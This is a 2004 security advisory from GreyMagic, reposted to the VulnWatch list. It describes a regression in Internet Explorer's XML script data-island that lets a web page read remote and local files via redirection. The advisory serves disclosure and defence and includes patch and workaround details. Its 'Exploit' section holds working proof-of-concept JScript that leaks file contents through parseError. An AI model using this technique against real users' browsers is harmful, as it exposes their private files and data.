[VulnWatch] Regression in IE: Accessing remote/local content in IE (GM#009-IE)

From: GreyMagic Security (security_at_greymagic.com)
Date: 10/12/04

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    To: <vulnwatch@vulnwatch.org>
    Date: Tue, 12 Oct 2004 18:54:04 +0200
    
    

    For further information on the regression itself see "Solution" section.

    GreyMagic Security Advisory GM#009-IE
    =====================================

    By GreyMagic Software, 23 Aug 2002, 12 Oct 2004.

    Available in HTML format at
    http://www.greymagic.com/security/advisories/gm009-ie/.

    Topic: Accessing remote/local content in IE.

    Discovery date: 18 Feb 2002.

    Affected applications:
    ======================

    All tested versions of Microsoft Internet Explorer (IE5+); prior versions
    may be vulnerable as well.

    Note that any other application that uses Internet Explorer's engine
    (WebBrowser control) is affected as well (Outlook, MSN Explorer, etc.).

    Introduction:
    =============

    Back in 1997, when Internet Explorer 4 was first released, XML was just
    starting to become popular. The popularity of XML prompted Microsoft to
    devise the early prototype of XML data-islands, using the <script> element
    in conjunction with the "language" attribute set to "XML".

    When Internet Explorer 5 was released the <script> data-island had been
    replaced with the more intuitive <xml> data-island. But even though the
    <script> syntax was now deprecated, Microsoft kept it for the sake of
    backwards compatibility.

    Discussion:
    ===========

    By default the <script> data-island only allows URLs from the same domain as
    the document to be assigned to its "src" attribute. Unfortunately, it fails
    to correctly validate its "src" attribute against a redirection, which
    potentially allows any web page to do the following:

    * Read XML files from any URL.
    * Read portions of non-XML files from any URL.
    * Read local XML files, in some setups.
    * Read portions of local non-XML files, in some setups.

    Any of the exploitations above may expose sensitive and private information
    belonging to the user.

    The <script> data-island can be exploited by assigning a URL to the "src"
    attribute, which will redirect to a local or remote location. The XML engine
    will then process the content of that location.

    In case the location does not contain valid XML content, parts of it can
    still be read by using XMLDOM's error mechanism. The "srcText" property of
    the "parseError" object will contain the line of text that could not be
    parsed by the engine. If the content does not contain line breaks at all
    then the entire content may be exposed.

    Exploit:
    ========

    This example reads the contents of a remote URL, "getFile.asp" redirects to
    the desired location, allowing us to read it:

    <script language="xml" src="getFile.asp" id="oFile"></script>
    <script language="jscript">
    onload=function () {
        var oXD=oFile.XMLDocument,
            oPE=oXD.parseError;

        alert(
            oXD.firstChild || oPE.line>0 ?
                "File found!\n"+
                "Details:\n\n"+
                (oXD.xml || "Line "+oPE.line+" contains '"+oPE.srcText+"'")
            :
                "File does not exist or could not be retrieved."
        );
    }
    </script>

    Solution:
    =========

    Microsoft was first informed on 18 Feb 2002, a patch was finally released on
    22 Aug 2002 after a long investigation and testing period.

    The patch may be downloaded from:
    http://www.microsoft.com/technet/security/bulletin/ms02-047.asp.

    ** Update - 9 Oct 2004 **

    There has been a regression in Internet Explorer that causes it to be
    vulnerable to this issue once again. The regression was spotted by Georgi
    Guninski in an advisory from 7-Oct-2004
    (http://www.guninski.com/where_do_you_want_billg_to_go_today_1.html).

    Interestingly enough, the regression is only visible when the <script> block
    is introduced as static HTML in the page, dynamic blocks (via
    document.write) are protected.

    Disable Active Scripting in order to protect yourself from this
    vulnerability.

    Tested on:
    ==========

    IE5 NT4, remote locations only.
    IE5.5 Win98, remote locations only.
    IE5.5 NT4, both remote and local locations.
    IE6 Win2000, remote locations only.
    IE6 WinXP, both remote and local locations.

    Demonstration:
    ==============

    A fully dynamic proof-of-concept demonstration of this issues is available
    at http://www.greymagic.com/security/advisories/gm009-ie/.

    Disclaimer:
    ===========

    The information in this advisory and any of its demonstrations is provided
    "as is" without warranty of any kind.

    GreyMagic Software is not liable for any direct or indirect damages caused
    as a result of using the information or demonstrations provided in any part
    of this advisory.

    - Copyright (c) 2004 GreyMagic Software.


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